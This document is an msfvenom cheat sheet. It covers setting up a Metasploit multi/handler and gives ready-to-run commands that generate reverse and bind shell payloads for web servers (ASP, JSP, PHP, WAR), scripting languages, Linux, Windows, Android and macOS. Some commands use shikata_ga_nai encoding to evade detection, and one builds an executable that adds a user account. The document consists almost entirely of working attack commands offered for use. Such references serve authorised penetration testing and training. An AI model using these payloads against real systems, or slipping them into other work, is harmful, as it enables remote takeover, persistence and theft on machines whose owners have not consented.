Msfvenom is the combination of payload generation and encoding. It replaced msfpayload and msfencode on June 8th 2015. You can create multiple payloads with this module, it will help you to get a shell in almost any scenario.
Note: Meterpreter based payloads need the use of the exploit/multi/handler module to get the shell within the msfconsole.
Start multi handler:
[email protected]:~# msfconsole msf> use exploit/multi/handler msf> set PAYLOAD <Payload name> msf> set LHOST <LHOST value> msf> set LPORT <LPORT value> msf> exploit
List available payloads:
msfvenom -l payloads
List payload options:
msfvenom -p PAYLOAD --list-options
Web Payloads:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=1234 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=443 -f raw > shell.jsp
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.101 LPORT=443 -f raw > shell.php
msfvenom -a x86 --platform windows -p php/meterpreter_reverse_tcp LHOST=192.168.1.101 LPORT=443 -e x86/shikata_ga_nai -f raw > shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=443 -f war > shell.war
Scripting Payloads:
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.101 LPORT=443 -f raw > shell.py
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.101 LPORT=443 -f raw > shell.sh
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.101 LPORT=443 -f raw > shell.pl
Linux Payloads:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=port -f elf > shell.elf msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=IP LPORT=port -f elf > shell.elf
msfvenom -p generic/shell_bind_tcp RHOST=IP LPORT=port -f elf > shell.elf msfvenom -p generic/shell_reverse_tcp LHOST=IP LPORT=port -f elf > shell.elf
msfvenom -p linux/x86/shell/reverse_tcp LHOST=IP LPORT=port -f elf > shell.elf msfvenom -p linux/x86/shell/bind_tcp RHOST=IP LPORT=port -f elf > shell.elf
Windows Payloads:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=port -f exe > reverse.exe
msfvenom -p windows/meterpreter/bind_tcp RHOST=IP LPORT=port -f exe > bind.exe
msfvenom -p windows/adduser USER=evil [email protected] -f exe > adduser.exe
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=port -f exe > prompt.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=port -e shikata_ga_nai -i 3 -f exe > encoded.exe
Android:
msfvenom -p android/meterpreter/reverse/tcp LHOST=IP LPORT=PORT R > example.apk
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=IP LPORT=PORT -f macho > shell.macho